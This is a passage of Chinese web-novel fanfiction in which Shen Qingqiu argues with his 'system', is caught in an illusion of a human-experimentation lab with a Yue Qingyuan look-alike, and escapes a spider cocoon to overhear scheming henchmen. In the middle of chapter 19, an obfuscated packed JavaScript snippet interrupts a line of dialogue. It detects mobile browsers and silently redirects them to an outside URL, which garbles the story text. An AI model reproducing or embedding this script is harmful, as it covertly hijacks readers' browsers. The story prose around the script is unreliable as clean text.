实在无计可施的尚清华只好用自己瘦小可怜的身躯挡在两人中间,努力调和: “柳巨巨,沈师兄他是真心想……” 想什么呢?他又没有摄像头,空口白牙的,柳清歌便是再不喜欢怀疑师兄弟,也不可能受得了接二连三的‘背刺’! 最终,沈清秋气呼呼的用修雅在地上画出一条横线,转头就走,没几秒就消失在两人视线里。 而柳清歌,自顾自坐下吞吃丹药、整理伤口。待整理齐全,也不问尚清华意见,从怀中摸出一个玉佩,寻了下方向,大跨步离开。 第十九章抹去记忆后看曾经 ooc预警:伪穿书沈九+嘴碎系统 ———— 随着三人的分道扬镳,沈清秋将装死的系统喊出来:‘系统,你是不是该跟我说些什么。’ ‘emmm……’系统尝试继续装死。 ‘若你一直不说,那么那个男主,也别指望能进苍穹山。’ 招不在老。身为一峰之主,备受掌门关怀的存在,阻拦新生入学的权限,还是有的。 ‘宿主啊!’系统简直要跪下了。 这届宿主怎么还能威胁系统的?他辛辛苦苦是为了谁?最终目的还不是为了让宿主打出he结局嘛! ‘沈清秋与柳清歌之间,确实有那么一丢丢的小矛盾。’ 系统权衡再三,最终还是打算略微的讲一讲往事。大家抬头不见低头见的,不知道前因后果,很容易爆雷啊! 沈清秋没想到只是随口诈了几句,系统就打算爆金币和经验,淡淡道: ‘说来听听。’ 系统扭扭捏捏,最后还是顶背着违纪的风险,劝告两句: ‘原主与他矛盾颇深,更是在某次同为闭关之时,双双互杀,最后一死一伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388106|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。’ 哦~ 所以说,这是一个活不到大结局、会被剧情杀的NPC。 只是……沈清秋实在有点好奇。 原主究竟做了什么。或者说,双方之间发生了什么,硬是能让柳清歌这种没脑子的玩意都下意识远离? 他与柳清歌协同合作、举兵对战之时只是背对背站位,柳清歌的动作至少慢了三分;而当他后退半步,柳清歌干脆一脚踏出,赤手空拳与曼陀罗蛇对战。 至于沈清秋一脚踹出之时,对方虽然愣了一下,可防护法术、跨步应对等反应,也未免太周全、迅速了些。 就像是……早有防备? 沈清秋打算从系统这里获取消息:‘柳清歌一介武痴,如何与人结怨?’ 出乎意料的,系统居然给出了堪称详细的回答。其中甚至还包含着,原主的动机和结果。 ‘大概是——原主打不过对方,就想通过下黑手的方式赢。一同出门,好心帮忙却被对方误会再次下黑手。柳清歌走火入魔,原主再次好心帮忙,结果却阴差阳错将对方杀死?’ ‘……’ 沉默,是今晚的康桥。 正常途径打不过,所以打算用点别的方式赢。 这,不能说不好,只能说……胜负心是挺强。 出外勤,好心帮忙却被误会。 这与自己是何曾的相像啊!他也是打个野外副本被误会背刺啊! 只能说柳清歌这种人脑子确实不够用。 总不能打架之前还要架上留影石,以便随时证明自己清白吧? 闭关之时,柳清歌走火入魔,原主不计前嫌的好心帮忙,结果搞成了互杀,还一死一伤? 这…… 所以就该见死不救,这种做法才是对的? 这与‘不是你撞的为什么要扶’、‘没能力救活为什么要救’,简直有异曲同工之妙啊。 难绷,着实难评。 ‘那原主可曾提出异议?’ 这种对战时被冤枉就算了,总不能好心帮忙,还要再被冤枉一次吧?这么大个修真界,连个恢复场景、进行痕检的都没有? ‘嗯……’系统虚拟的额头落下一滴汗:‘原主……不曾为自己辩解。’ ‘……’ 沈清秋都不知道是该为原主鸣不平,还是该为原主那可怜的情商抹把泪了。 人家明显不信任你,你还一而再、再而三的去帮忙。被误会也就算了,问题是你最后也没把人救活,说不定还要因此惹上一身骚…… 最重要的是,你TM都这样了,还不提出质疑,只等着一堆人将黑锅往你头上扣? 这…… 这TM根本不是‘清者自清’就能解决的事情好吧?那些诬赖你的人,远比所有人都更清楚你的无辜! 可原主竟然一声不吭,连异议都不曾提出? 沈清秋实在是不知道该怎么评价对方,只有一句说不出来具体意味的感叹:‘原主当真……是个蠢货。’ 系统无语的扯了扯不存在的嘴角,努力为‘原主’找补:‘宿主不要这么说,他只是,嗯,不通人情世故。’ 就这吧就这吧,我已经尽力了…… 系统实在是不知道要怎么当着抹去记忆的宿主,评论宿主曾经干过的事。 反正是你自己骂的自己,跟系统绝对没有任何关系…… 听完故事的沈清秋无所谓的摊开手,做了一个抓取动作: ‘这样一个有实力、没脑子的武痴,但凡好好培养,就是一把能杀人的尖刀。原主竟将一手好牌打成如此,当真愚蠢至极。’ 系统:…… 是你骂的,我什么也没听见! 希望你‘恢复记忆’之后,也能这么‘理智’的评价啊! ———— 随着沈清秋将森林、沼泽、药园等地逛完,他终于来到了秘境核心区——一座破败的神殿。 此神殿名为‘云雾’,海拔极高,终年笼罩于云海之中,挺拔而高冷,极具修真特色。 在路过了各式机关和考核之下,沈清秋的储物袋已是收获满满。 ‘系统,好无聊啊。’ 沈清秋手里把玩着从石碑护卫手里抢来的项链,有一搭没一搭的和系统逗话:‘无敌是多么寂寞啊~’ ‘……’系统无语。 这家伙,到底是没人说话、无架可打无聊了;还是想表达自己很强,通通一剑可斩、处处摸尸舔包的快乐啊。 就在沈清秋大跨步向前,打算去看正殿的壁画之时。轰隆隆的声音响起,某些尘封已久的机关,猛的将整个地面翻滚一新。 此神殿名为‘天上云雾’,其核心却深藏于地底,建于地心岩浆之中。 滚滚烈焰之中,曾经散发着神光的殿宇已破损的不成样子,布下的防护大阵却还在运转。 作为防止外人侵探的保护手段,身为护城河的‘灼热岩浆’除了自身热量外,还散布着能使人陷入困阵的毒气。 热量与毒气混在一起,稍微一个不注意,便是跌入岩浆,连骨头都被烧成灰的境地。 第二十章实验体九号 ooc预警:伪穿书沈九+深情岳七 ??———— 无数的绳状物束缚于身上,‘滴滴’的机械音响彻在耳边。鼻尖充斥着属于消毒水的辛辣气息,每呼吸一口,除了干冷的空气,还有隐隐作痛的灼烧感。 ‘这是——’ 沉重的被压制感中,就连呼吸都显得困难。沈清秋用力睁开仿佛被千斤坠压住的眼睛,看向周围。 洁白的墙壁、堆积到几乎无处下脚的机器,布满摄像头和显示器的房间。以及,插满管子的身躯。 是重症监护室、手术台,还是修真界里关于蒙蔽眼睛的邪术戏法? 或者说,是现代的高科技医院,还是修真界伪装出来的‘困境’? 他脑海中的‘穿书’与‘系统’,是真实存在的过往,还是他昏迷中的最后‘假想’? 这,很关键。 沈清秋快速扒拉脑海中的记忆,翻看到属于‘原主’的过往。 人体实验。 原主为实验体九号,身上的血液似乎有种特殊的魔力,可使被使用者恢复生机、延年益寿。 与他相同的还有一个实验体七号。 以及数十个虽‘功效不好’,但具有同等能力的实验体。 背景和剧情都很‘现代’。甚至于,关于原主对于实验员和操刀者的厌恶与反抗,都是极为细腻且真实的。 真实到,只要想一想就开始心痛,并且开始眼前发灰、头晕眼花,恨不得立刻爆种毁灭世界。 ‘系统?’‘系统!’ 一直以来表现得极为积极话痨的系统,不曾有半分回应。 那么,系统的存在,究竟是真实,还是……他的美好想像? 假设、如果说,他就是“原主”,那个被用来做实验的实验体九号。 那么,他之前关于‘修真者’的记忆,是真实,还是清醒梦? 他是正常大学生沈清秋,意外得到穿书系统,去修真界玩了一段时间。 还是实验体九号,在最终试验之时精神崩溃,给自己‘构想’出一个无拘无束、可逆天改命的修真界? “九号,别在试着逃跑。” 大概是实验体苏醒后机器自动报警,医护人员来得及快。他们进来的第一句话,就是残疾威胁: “你的恢复能力是很快,但断肢不能重生,如果你再跑一次,面临的就不是折断而是直接截肢!” “?”沈清秋的记忆太过杂乱,一时半刻竟不知用各种表情应对他们。 他们是‘医生’的帮凶,辅助医生将他们控制住,平日里的各种抽血与吃药、试验记录,也都由他们负责。 可他们也是死神的拦路虎。 当医生打算加大药量试验,或嫌他们不够配合之时,是他们的劝阻与抵挡,才使他们免受责罚。 人性本就复杂。他们是坏人的同行者;也是……平日里的知心大姐与死亡防护线。 “九号,别在跑了。” “是啊,你们身上都装有芯片,是逃不出去的。” “这次已决定要用七号的心脏,你算是逃过一劫,要好好活下去才行。” 叽叽喳喳的声音里,大致能拼凑出一个有特殊用处的实验体,因不满于被当成小白鼠,进而逃跑、最后被抓回来的故事。 “七…号?” 沈清秋慢慢开口。声音嘶哑而无力,每一次发声,都像是重新撕裂伤口,让气息吐出去一般。 不知为何,一想到‘七号’,他的心里就有种酸涩又苦闷的感觉。就像是,不小心吃了到鸡汤里熬煮的当归一样。 当归、当归。他的归途,又在何方? “上面原本还在开会探讨用谁,你的叛逃令上面大怒,打算一次性将你的心脏、肝肾等内脏一次性掏空,直接结束你的性命。” “是七号强闯手术室,替你躺上手术台。” “……” 真是感人啊。 沈清秋闭上眼,感受着来自身躯反馈的虚弱感。这种虚弱不是由于肚子饿,是不停的抽血、注射药物、继续抽血、换新药物而导致的‘体虚’。 只是,即便是每天都要抽血、每周两次的手术,他的体内器官,依旧在正常运转。以及,沈清秋敏锐的在经脉之中捕捉到一丝灵力。 灵力。是修真界对某种能吸收到体内,进而帮助他们修炼,提升境界的有益气体。 他们这些实验体被‘捉’的原因,是血液中存在某种科学不能解释的极致治愈能力。 这种能力,不说平复普通的疾病,就连衰老,都能延缓。 而被延迟的衰老——何尝不是长生? 故而。 怀璧其罪的他们,被天南海北的大肆搜捕。抽血不说,各种以‘为了全人类进步’为名的实验,都降临于他们身上。 这种特殊的能力,被发现者称之为‘异能’;而他们的血液,则被称之为‘神血’。 唯有传闻中的神仙,才能不惧一切疾病,容颜永驻,长生不老。 而拥有手术刀的上位者,将这些没能力自保的先天之体捉拿于此,挂上一个‘实验体’的名头,开始各种研究。 他与七号,都是异能最强、功效最强的人。除了头部和心脏的芯片,为了防止逃跑,其他实验体是三实一人,他们是一实三人。 平日里除了各种实验外,还被注射不少药物与病毒。为了查看他们的‘抵抗性’,那些本不该用于人体的禁药,也被大剂量注射。 原主曾想过逃跑。在他偶然一次‘以毒攻毒’时,手中激发出无形的气息,打伤无数护士后,想带七号离开。 可惜七号实在是个‘博爱’的人,他硬是在那么危难的时刻,将其他的实验体全部放出,要带他们一起走。 最后的结果自然是身为始作俑者的七号与九号,被狠狠责打一顿后,直接打断了腿。 而瘸着脚走路的人,是没办法打斗、逃跑的。 如果故事就此结束,几人说不定也就‘认命’了。 只是…… 人的贪念,终究抵不过极致的权势。 某隐世大佬性命垂危,在几乎将全身血液都‘换上’神血后,依旧不能改善。换上那些‘效果不算好’的内脏后,虽能下地生活。 却总归不算完美。 而实验室中,‘功效’最好的,唯有七号与九号。 研究员将这件事告诉两人。 他们,都同时选择舍弃自己而保下对方的性命。 第二十一章实验体七号 ooc预警:伪穿书沈九+深情岳七 ———— 沈清秋:…… 真好,这个故事简直太‘赶人’了。 与魂穿修真界不同,这次开局就要选择生还是死。 要么选择自己去死,要么选择送对方去死。 而身为珍稀异能者的另一人,在对方死去的同时,将会‘接手’另一人的研究份额。说不定,情况会糟糕到更加生不如死。 只是,选择权好像不在他的身上。 既然惹怒上层的他还能躺在这里,就说明……一定有人将他‘换’了出来。 联想到‘七号强闯手术室’、‘替你躺上手术台’,这个‘七号’是否存活,还需要打个问号。 沈清秋沉下心神,仔细的将体内灵力完整的研究一下,最终确认这具躯体能自发吸收灵力、并炼化使用灵力。 这些白大褂上面的人,想要研究出来的‘治愈能力’,实际上是修真者血液中的灵气。 普通人不能修行,却可以使用修真者体内已炼化好的灵气。故而,哪怕是修真界,也有凡人偷袭修士,取血作药的例子。 “七号现在在那?” 沈清秋将头扭向地位最高的护士长,右手捏着灵气,悄咪咪的化为匕首形状。 擒贼先擒王,将这里的领头拿下,才有能谈判的条件。否则,他说的任何话,都不会有人认真听。 护士长有些欣慰的对沈清秋笑了笑,替他调整了一下营养液的输送速度,接着开口道: “七号似乎激活了什么了不得的能力,在‘自愿’上手术台之前,要求先让你活下来。” “既然你醒了,那就让七号进来看一眼,说说遗言吧。” 说着,她扭头给其他人一个眼色。将脸转回来后,脸色是一种慈爱中掺杂着简直无法用言语表述的复杂神情,张口欲言,却又深深叹口气: “九号,对方可是替你将命都送出去了。这次,可别在毒舌的将对方撵出去了。” 沈清秋:…… 这个表情和语气,总觉得,很像话痨系统。 难道他幻想中的系统,是以这位女士为蓝本吗? 随着一身蓝白病服的少年一瘸一拐走进来,沈清秋明显感受到了明显的胸闷气短,和一丝丝的,悔恨。 这丝懊悔很浅,却极其扎眼。 实验体七号。 这个实验体九号出逃都要带上的同伴,这个因‘过于博爱’而导致出逃失败的家伙。 怎么看,都觉得行事过于迂腐了些。 只是—— 这个‘七号’,怎么那么像他梦境中的岳清源? 虽说这并不是不可能。若系统的蓝本是护士长,那么岳掌门的蓝本是七号也没什么。 但。如果说修真界是他的一场美梦,为何假想的世界里,他对岳清源处处提防与警惕? 梦境是现实的映射不假,可实验体九号,会对实验体七号愧疚又警惕戒备吗? 还是说……这不是他的‘归途’,是另一个魂穿的游戏副本? 某些副本封闭性过于强,系统面板调不出来、系统也召唤不出来,仿佛也是说得通的? 七号用与岳清源一模一样的脸,堪称认真的看着沈清秋,述说最后的嘱咐: “九号,我会躺在手术台上,你一定要活下去。无论如何都要活下去。” ‘……’ 沈清秋有点接受无能。 不是对实验体七号,是对这张脸。 修真界里,这张脸的主人明显是个糯米皮奥利奥馅的雪媚娘。可这里的家伙,将自己搞的深陷混沌、手无缚鸡之力不说,甚至还要将命交到别人手上去? 未免有些,太废物了些。 环境不同,性格不同,做法也不同。沈清秋不想苛责,但刻薄的话却脱口而出: “七号,就算是你躺上手术台,我也不会为你伤心的!” “……” 他不是有心的,实在是话语不经过大脑,埋怨与恶毒仿佛在看见对方的那一刻,就自发生成并形成。 这些词句完全不是他能控制的,就像是游戏里只要点击一下‘对话’,NPC会立刻说出连他自己都不清楚的话语来。 难道说,这次他的身份里,还有设定好的台词与人设。会在某些时刻被突然激活,接着做出一些沈清秋自己都控制不了的行为来? 就在沈清秋眯着眼睛思考的时候,七号颇为大度且宽容的笑了。 七号不仅脸像岳清源,就连声音和神情也一样,仿佛能包容沈清秋的所有棱角:“没事的,只要你活下去就好。” “……” 真是令人鸡皮疙瘩都激起来了。 该死的,你自身都难保好吧! 这种以命换命的举动,怎么你还能一脸正经、深情的说‘没事,你能活就行’的? 而且,你马上就要死了! 内脏都被掏光、血液全部被抽到玻璃罐子里、身躯被泡在福尔马林里面,怎么还能没事人一样的安慰别人? 这就是传说中,只要能拯救别人、哪怕赴死也心甘情愿的圣父吗? 沈清秋努力压制对此情此景的愤愤吐槽,一脸正经的询问:“你打算怎么做?” 七号敦厚的笑了笑,在九号面前,他愿意将一切计划公开: “我觉醒了和你之前一样的能力,若是他们敢打你的主意,我就算拼着把血流干,也要让你离开。” “……” 所以你的凭借是这个? 沈清秋此刻的神情,大概就是黑人满头问号的表情包。 哥们,咱就是说,有没有一种可能。之前若不是你非要救其他人,出其不意之下,完全不需要计划早就跑出去了? 还有啊,九号之前觉醒能力、逃跑失败,你觉得那些人不会防着第二个‘觉醒者’? 你到底有没有思考过这些事情啊,你不会以为觉醒了能力就是底牌,能用来与其他人做交易吧? 你这么单纯,与你同一张脸的岳清源,怎么就心黑成那样呢?你是把脑子赠送给对方了吗? 只是——不得不说。 现在满脸认真的七号,与之前满是深情的岳清源,莫名的重合了。 沈清秋的眼神有些发虚,某位喜穿黑衣、常年挂着温和敦厚面具的白切黑,忽然浮现于面前。 修真界中,去秘境前岳清源怎么搞来着? 好像是将这一代战力巅峰派给他当打手,将本该用来供奉、镇场子的地级法器拿给他护身,将几乎绝迹的空间卷轴留给他跑路? 以及那句—— “即便是所有人都死去,你也会活着。” 第二十二章一个称呼而已 ooc预警:伪穿书沈九+深情岳七 ———— 只要一想起来岳清源那句‘即便所有人死去,你也会活着’,沈清秋忍不住就打了个寒颤。 七号是非常明显的愿意以命换命; 岳清源是极为张扬的偏爱与关怀。 一模一样的脸,都在表达同样的情感。 那么。 现代与修真界,七号与岳清源。究竟那个是真,那个是假?那个是现实存在的人物,那个是幻想或困阵? 私心里,他希望修真界是真。黑心糯米团哪怕心计多一些,谋划深一些,也远比实验体七号空拥有一点力量、却只能沦为案板上的鱼肉强。 可情感与熟悉程度上,甚至行为与习惯,某些记忆中的小细节,都在彰显这里才是他生活许久的地方。 如果修真界是真,苍穹山的岳清源不需要他担心。 可如果这里是真,刚刚会使用一点灵力的七号。绝对不可能在一群拿着手术刀的上位者手上 ,完整的活下来! 而他,一个刚刚能控制躯体、运转灵力的实验体。在成为‘唯一的、独一无二’的珍种后,只会被更严密的看管! ‘系统!’‘系统!’ 在难以判断的情况下,沈清秋唯有再次尝试呼唤系统。 如果穿越修真界是真的,那么系统就一定会被召唤出来! 拜托了,修真界一定要是真的!这里绝不可以是现实! 沈清秋拼命在脑海中召唤系统,同时运转经脉中刚刚生成的、仅有的的一部分灵力—— 如果这是一个末法时代,他们这些天生能修炼的人没有选择正统修炼,是否会表现出异于常人的地方? 修真界普遍几百岁的寿命,对现代难达百岁而言,怎么不算‘延寿密钥’? 之前他尝试过主动吸收并运转灵力,此处虽是无人修炼的末法时代,但灵气含量却不算低。 如果这些类似于灵力的‘异能’,不能通过修真界的功法运转与使用,那么——此处极有可能是小说中常出现的‘灵气复苏’。 反之,如果这里的灵气与修真界灵气无二,使用方法也可通用。这里便是修真界之人根据他的记忆而虚拟出的场景。 虽然很荒诞,但从逻辑上讲是没问题的。如果修真界是他所做的‘梦’,梦里能使用的东西,现实里是基本不可能实现的。 而按照修真界的逻辑,灵力绝对是组成万物的基础。 这些看似‘很现代’的仪器,动力来源不可能是水电之类的现代能源,极大可能是由灵力驱动。既然能用灵力运转,绝对可以用灵力摧毁。 而九号记忆里曾发出的无形攻击、七号觉醒后的莫名攻击力。 很难说不是自发运转的灵力气流。 —— “九号。你要活下去,好好活下去。” 实验体七号深深的看着沈清秋,像是要将对方的脸庞刻入灵魂一样,眼神幽深而漆黑,像是能吸收所有光线的太空黑洞。 最后露出一个憨厚欣慰的笑容,随医护人员离开。 “……” 沈清秋实在不能理解对方的逻辑。更不明白明明有能力反抗,为什么还要放下武器、自愿躺上手术台。 硬碰硬肯定不行,实验体七号与九号虽然很珍贵,但并不是无可替代。真将那群人惹急,直接被镇压杀害也并非无可能。 可直接将心脏递交出去,也未免太蠢了些。 就算是神话中的比干,体内无心,又能活多久呢? 修真界尚且做不到失心存活,不会使用灵力的现代,没有心根本不可能下手术台! 而且。虽然很莫名其妙。 但他好像,刚睁眼就欠了对方一条命的人情? 即使他的记忆很完整,可他还是忍不住会将记忆里的‘实验体九号’与‘沈清秋’区分开来,将九号称之为‘原主’。 他不愿也不会承认,那个逃亡失败后只能让七号替自己死的弱鸡,是自己。 还有这个‘七号’,当真能为了原主舍弃性命,无怨无悔? 随着七号离开,医护人员对他的看守越发严密。独一无二,就意味着……绝对不能逃离。 沈清秋掐起剑诀,将周身几个医护人员砍晕。一把将身上扎着的管子拔掉,施展隐身诀跟上。 他不信会有人为了另一个人,主动躺上手术台,献上性命。 这个七号绝对是伪装,怎么可能有人会对即将死亡的命运,一点也不反抗? 只是—— 七号好像还真的,做好了换命的准备。 他平静的躺好,任医护人员用铁链将手脚锁死,无声无息、毫不挣扎的任护士向静脉推入足量的麻醉剂。 接着说了句“九号若是死了,我会化作厉鬼,将这里掀翻”后,直愣愣的盯着操刀者。 明亮的灯光刺激着在场众人的眼睛,令人生理性的浮现泪花,瞳孔紧缩。闪着寒光的手术刀并排放于一侧,被护士小心翼翼的端起。 主刀的医生是个身材消瘦、头发很短的青年,他那清脆爽朗的笑声于严肃的手术室响起:“很有趣的实验体。” “你不担心自己的性命,却关心其他人能不能活?珍种只有两个,你死亡之后,他会受到‘最好的照顾’。” 听到这里,七号一直秉着的呼吸放缓了。他没有与对方对抗都能力,唯有‘寄希望于化为厉鬼’的狠话与祈愿。 当他听到医生的答复后,某种疲惫与愧疚感上涌。他当然知道,对比于现在死去,活着的那个会更痛苦。 可他做不到看着对方去死,更不能接自己他明明能换下对方却无动于衷。所以,就让他私心一些,让他先离开吧。 甭管是先去黄泉探路,还是化为魂魄守护于九号身边,都是极好的。 在麻药针刺入体内的时刻,七号深深的呼出一口气,闭上眼睛吐出最后一句遗言: “小九。对不住,七哥先行一步。” 任护士将他的衣物掀起,青年的手术刀割开皮肉,再也没发出过任何动静。 —— ‘……’ 在七号突然说出‘小九’的时候,沈清秋险些暴露了身影。 如果他记得不错,修真界中,‘沈清秋’与‘岳掌门’两人第一次见面之时。 岳清源是不是最后被他气的不行、却还咬牙切齿露出憨厚慈祥的笑容,对他说了句: ‘小九吩咐的,七哥自要听从’??? 实验体七号为什么要称自己为‘七哥’,又为什么喊九号为‘小九’? 尤其是,为什么听到‘小九’的那一刻,心脏突然从心底涌出止不住的悲伤和怨恨,甚至心跳抽搐的想要摧毁一切? 该死的,一个称呼而已,他在思考些什么? 这里的灵气与修真界一样,修炼、运转周天也一样。 那么,就粗鲁一回。直接点,以力破巧算了。这种该死的地方,本来就没有留下来的意义! 63.明牌了,修真界根本不是系统说的vr游戏 第二十三章鱼、鱼饵、大鱼 ooc预警:伪穿书沈九+深情岳七 ———— ‘宿主?宿主?’ 系统的声音很是急切,若非他不能化为实体,此时恨不得压着沈清秋的肩膀疯狂摇。 ‘够了!’ 沈清秋暴躁的睁开眼睛,看着眼前又一片纯白。一模一样的虚弱感,就像是之前躺在病床上似的,因过度抽血而体虚。 数条纤细的薄丝紧紧缠绕,每一条都是那么的轻,那么的薄。就像是天边的云、空中的雾。 可惜,这样纯净的颜色与别样的轻柔,却如同附骨之毒般无时无刻不在吸取他的灵力。 修雅在手,一剑斩之。 这些看起来像棉絮的丝网,终是掩不住剑光的凌厉,一瞬间的裂痕之后,化为了片片雪花散落。像是冬日里能掩盖所有痕迹的积雪一样,轻易将地面铺上厚‘毛毯’。 沈清秋立于悠悠散落的‘碎片雨’之中,眼里无波无喜。 ‘白头并非雪可替,相逢已是上上签’ 实验体七号与九号,很难说清楚是谁拖了谁的后腿,又是谁为谁搭上了命。 而更让沈清秋在意的,是困阵被破解之后—— 那个万箭穿心的背影。 以及……那句,听起来像是做错过一次、这回拼命找补的‘我来赴约了’。 是局中局,还是某种情景复现? 七号与岳清源过于相似的脸庞,虽性格不同却同样对他有着别样执着的行为准则。 这其中,很难不让人联想。 做个假设。 如果说,那个身影是岳清源。 那他做错过什么? 最后又因何赴约,为何会死于万箭穿心? 在临死之际,可曾后悔? 现代的誓约之中,有一条叫做‘死生不弃’。任何说谎话骗人、或约定后没有做到的,要吞一万根钢针。 万箭穿心而亡。是否与此类似? 沈清秋看着在眼前纷纷扬扬的‘雪雨’,忽的捏住一片丝网。手中的触感粘黏而轻柔,却又无法轻易用指甲‘掐断’。 在他刚踏入修真界的时候,身为掌门人兼与原主有种特殊关系的‘岳清源’,这个人物的行为逻辑,就更值得研究。 如果他是设定好的NPC,最后的结果注定是‘赴约而死’。那么,能令一代掌门前去赴死的人,一定对‘他’很重要。 可是那么重要的人,最后却被当了引对方咬钩的饵。 被钓来的大鱼死去。想必对于‘饵’来说,亲手将对方‘诱来’,却又得知对方因自己而死,其心情更是崩溃不已。 可怜、可叹、可惜。 甭管是感天动地的伴侣,还是惺惺相惜的哥们,两者,都是午夜梦回之时,很难忍住不哭的程度。 ‘系统。’ 沈清秋打算让系统爆金币。 岳清源这个NPC过于重要,对他的态度也实在迷惑。原主与岳清源之间,究竟存在什么样的遗憾与错过,又有着怎么样的过往? 既然系统能给他柳清歌的信息,没道理岳清源的不行。 ‘宿主~你终于醒了~’ 系统有些狗腿的嚷嚷: ‘你差点死了啊,呜呜呜~’ ‘你我灵魂绑定,可就在某一刻,你的灵魂差点被吸入其他地方;若是对方得逞,你的躯体直接就会死亡啊……’ ‘?’ 沈清秋被系统的哭闹搞的心烦意乱,却又在下一刻在另一种程度上更加头疼。 灵魂被吸入他地,进而躯体死亡? 那么,是他怀疑‘七号’与‘岳清源’那个真、‘实验室’与‘修真界’那个真时,所发生的事情吗? 如果幻境的意义,本就是给灵魂勾画出足够真实的‘世界’,让被困者以为他方才是归途,进而‘留下来’…… 毕竟,即便是游戏人间的沈清秋,也难免想到‘岳清源不需要他,七号却很需要他’‘修真界处处不熟悉,这里却各种细节习惯都对的上’。 好在。 他不是个喜欢照顾孩童的人。 队友心思深沉,总好的过什么也不懂。 若是能选择,哪怕岳清源除了那张憨厚的脸外全是黑心,他也不想和一个明明拥有能力却还需要将自己送上手术台、以命换命才能让对方活下来的七号。 细思极恐。 这种针对于灵魂,用记忆构建场景,想方设法让人留下的手段,简直太过可怕。 尤其是,灵魂吸入幻境,身躯被关入虫茧。无论是灵魂长留于此,还是灵力被抽取干净,都难逃‘活死人’的结局。 ‘此地是何处?’ 沈清秋忽视掉唧唧歪歪的系统关怀,决定先将岳清源的事情放一放。 过往随时可以问询,现在的风险却要立刻规避。 ‘天上云雾、地心岩炎。宿主,你在大厅翻转的时候跌入这里,被这些蜘蛛网给缠上,自动结成了茧。’ 被岩浆包裹的宫殿里,类似于囚牢的地方。张开有层层叠叠的蜘蛛网,每一丈各结有纯白的大茧。 这些丝线从天上垂落下来,根部膨大成茧,源源不断的将当成猎物包裹住的修士灵力传送出去。 属于沈清秋的虫茧已被打碎,垂落的虫丝拧成几股粗绳,正疯狂四处甩动,试图将‘逃跑者’重新绑回去。 沈清秋体内的灵气还剩三分之一,虽说‘破茧而出’‘极速逃离’不算难事,但想要当个救世主、将这一片的虫茧全部打碎却有些困难。 虫茧内或许有与沈清秋一样的修士,但并不能排除存在别的东西。若是一着不慎,仅剩的那些灵力不足以镇压全场,很难说会演变成什么情况。 忽的,谈话声从远处传来: “今日份额可够?” “不太够,上次求爷爷告奶奶才勉强凑够。” “仓库不是有旧的?多挤挤,先把量凑够再说。” “不行的。之前都是上好货物,这些个不知那搞来的陈芝麻烂谷子,怎比得了?” 有两道影子从远处走来,一瘦高,一矮胖。瘦高的那个满脸紧张,不停追问另一人: “那怎么办?东家催的急啊!” 瘦高个随便的扫了一眼虫茧群,像是突然想到了什么好主意,一拍后脑勺,抓着矮胖之人的胳膊开始摇: “要不,把那些上等鱼拉回来?” 矮胖之人体型看着小,性情却是极为谨慎。他四处扫视着‘虫茧群’,敏锐的察觉到有些不对劲。 先是疑惑停下脚步,顺着地上的‘雪花’与从天上垂吊下来的、疯狂甩动的丝绳方向看过去,还没等走近详细探查,便被旁边之人的‘馊主意’给惊到。 矮胖之人将胳膊从对方手里抽出,急慌慌的摇头,拒绝这个建议: “不行!那些鱼东家另有大用,死了就不新鲜了。” 瘦高个情绪有些不稳定,揪着头发来回踱步: “那你说怎么办?赶紧派人去海里再捞点新的来,交不上货你我都要领罚!” 第二十四章东家、小姐、公子、少主 ooc预警:伪穿书沈九+打手柳清歌+拖后腿尚清华 ———— 许是两人争吵得太过大声,道路另一头又冒出几个身影来。其中一个应是两位的老熟人,还没走近,大笑声便传来: “我就说这声音听着熟悉,原来真是你啊,瘦猴!” 诨名瘦猴的男子像是寻到了庇护似的,连忙冲一身白衣的富贵公子哥招手:“赵哥!您回来了?” 沈清秋施展隐身诀,悄摸躲在左边拐角视野盲区,观察着几人。 瘦高个诨名瘦猴,不仅身材消瘦,就连脸颊两侧都跟缺了大牙似的,一副的难民样。估计是幼年吃过太多苦,脸上满是皱纹不说,伴随着他焦急的表情,更显得苦大仇深。 矮胖子则与他截然相反,整个人白白胖胖的,面上虽带着没完成任务的不耐烦,却远不像瘦猴跟没头苍蝇似的到处嚷嚷。 矮胖子看向白衣公子身旁的灰衣壮汉,颇为熟稔的拍了拍对方的肩膀: "老钱,你们咋回来了?小姐的事可办好了?" “哎,别说了。”灰衣壮汉挥挥手,无奈的叹口气:“公子让我们开拍卖会,可这都连着举行了两个月,鱼都不曾钓来。” 瘦猴原本还在焦急的四处游走,闻言眼神一亮,连忙挤开矮胖子,冲白衣公子问询: “若是大鱼始终不来,小鱼是不是就可以处理掉了?” 如果能,这次的任务量就不愁了! 一身富贵的白衣公子斜他一眼,右手的扇子摇了摇,没说行,也没说不行。最后在瘦猴的叨叨下,轻飘飘的吐出一句: “听公子安排。” 矮胖子原本还在和灰衣壮汉闲聊,看着一旁故意装样的白衣皱皱眉: “我说,难道不该是听东家安排?” 他们的一切都是东家给的,为东家和小姐干活理所应当,那个吃软饭的家伙算什么?白衣居然说‘一切听公子安排’,屁股朝那边摆? 白衣无所谓的挥挥手,刻意伪装的富贵皮囊下,是受到上位者赏识的感激与谋算: “你呀,就是不知道争取。” “你且抬头看看,东家的一切最后还不是要给小姐?小姐一颗芳心寄予公子,我们还不如直接听公子的,也能博个从龙之功。” “……” 听听,这说的都是什么话! 矮胖之子右手抬起,颇为气愤的点了点对方,接着猛的甩甩手,双手合起向右上方拱了拱手: “东家老当益壮,如日中天!怎得你这一番话,像是东家日不久矣?再说了,少主虽是养子,却如何比不上少爷?” 看着不为所动的白衣,矮胖子表情之愤恨、言语之痛心,就像是看到了中山狼: “你懂不懂规矩?是东家养你家小,怎的翅膀硬了、出去飞上几天,便开始听外人的吩咐?” 白衣不屑的嗤笑一声,右手将扇子‘唰’得合起,一扇骨拍过去、将对方手指压下。下巴略抬、脸上满是对‘守旧派’的讽刺: “那你懂不懂官场?现在不提前站队,就等着公子上位后被发配边疆吧!” —— ‘宿主…’系统的声音传来:‘他们说的大鱼……’ ‘嗯。’沈清秋冷笑一声:‘可惜。我们却不曾大张旗鼓的昭告天下。’ —— 